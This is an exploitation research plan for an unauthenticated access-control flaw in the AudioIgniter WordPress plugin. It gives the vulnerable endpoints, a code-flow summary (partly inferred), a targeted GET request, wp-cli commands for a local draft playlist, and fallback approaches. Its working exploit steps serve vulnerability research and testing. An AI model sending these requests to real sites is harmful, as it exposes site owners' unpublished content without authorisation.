Exploitation Research Plan: CVE-2026-8679 (AudioIgniter Music Player)

1. Vulnerability Summary

The AudioIgniter Music Player plugin (<= 2.0.2) contains an Insecure Direct Object Reference (IDOR) vulnerability within its playlist data endpoint. The function handle_playlist_endpoint(), which is hooked to template_redirect, allows unauthenticated users to retrieve metadata for any playlist by providing its ID. Because the function only validates that the requested ID corresponds to the ai_playlist post type and fails to verify the post_status (e.g., draft, private, trash) or user permissions, it exposes sensitive track information (URLs, titles, download links) that should not be publicly accessible.

2. Attack Vector Analysis

• Endpoints:
  1. /?audioigniter_playlist_id=[ID] (Query parameter)
  2. /audioigniter/playlist/[ID]/ (Rewrite rule)
• Parameter: audioigniter_playlist_id
• Authentication: None required (Unauthenticated).
• Preconditions:
  • The plugin must be active.
  • A playlist must exist (even if it is a draft, private, or in the trash).
• Severity: High (7.5) - This allows full disclosure of track metadata and audio source URLs for restricted content.

3. Code Flow

1. Registration: In audioigniter.php, the method init() (line 144) calls register_playlist_endpoint(), which registers the audioigniter_playlist_id query variable and a corresponding rewrite rule.
2. Hooking: In audioigniter.php, the method frontend_init() (line 197) hooks handle_playlist_endpoint() to the template_redirect action.
3. Processing (Inferred): When a request is made:
   • template_redirect triggers handle_playlist_endpoint().
   • The function retrieves the ID from get_query_var( 'audioigniter_playlist_id' ).
   • It calls get_post( $id ).
   • It checks if ( $post->post_type === 'ai_playlist' ).
   • Vulnerability: It proceeds to output the playlist's track data (stored in post meta) as JSON and exits, without checking if post_status is 'publish'.

4. Nonce Acquisition Strategy

According to the vulnerability description, the handle_playlist_endpoint() function performs no authentication or capability checks. This includes a lack of nonce verification.

• Nonce Requirement: None. The endpoint is intended to be a public data source for the player's JavaScript component, but it fails to restrict access to non-public playlists.

5. Exploitation Strategy

The goal is to retrieve track metadata from a Draft playlist as an unauthenticated user.

1. Preparation: Identify or create a playlist in draft status.
2. Request: Send a GET request to the site using the audioigniter_playlist_id parameter.
3. Extraction: Parse the JSON response to confirm track titles, audio URLs, and download links are present.

Targeted Request

GET /?audioigniter_playlist_id=[PLAYLIST_ID] HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0
Accept: application/json

6. Test Data Setup

Use wp-cli to create the vulnerable state:

1. Create a Draft Playlist:

   wp post create --post_type=ai_playlist --post_status=draft --post_title="Secret Album 2026" --post_content="Draft content"
   

   Note the returned ID (e.g., 123).

2. Add Track Metadata:
   The plugin stores tracks in serialized post meta. Based on the source fields (lines 540-622), the metadata usually resides in a key like _audioigniter_tracks.

   wp post meta update 123 _audioigniter_tracks '[{"title":"Unreleased Track","artist":"The Attacker","audio":"https://example.com/secret.mp3","download_url":"https://example.com/download-secret"}]' --format=json
   

7. Expected Results

A successful exploit will return a 200 OK response with a JSON body similar to:

[
  {
    "title": "Unreleased Track",
    "artist": "The Attacker",
    "audio": "https://example.com/secret.mp3",
    "download_url": "https://example.com/download-secret",
    ...
  }
]

The response confirms that metadata for a draft post is leaked.

8. Verification Steps

1. Confirm Post Status: Use WP-CLI to verify the playlist is indeed not published.

   wp post get [PLAYLIST_ID] --field=post_status
   # Expected: draft
   

2. Verify Unauthenticated Access: Ensure the HTTP request was made without any session cookies or Authorization headers.

9. Alternative Approaches

If the query parameter method fails due to specific server configurations:

• Rewrite Rule: Try the pretty permalink structure:
  GET /audioigniter/playlist/[ID]/ HTTP/1.1
• Internal Query: If the endpoint is restricted by security plugins, try accessing via admin-ajax.php if the plugin registered an alternative handler there (though the description points specifically to template_redirect).
• Metadata Hunting: If track data isn't in the response, check if the response returns a list of attachment IDs, which could then be queried individually. (The description implies metadata is returned directly).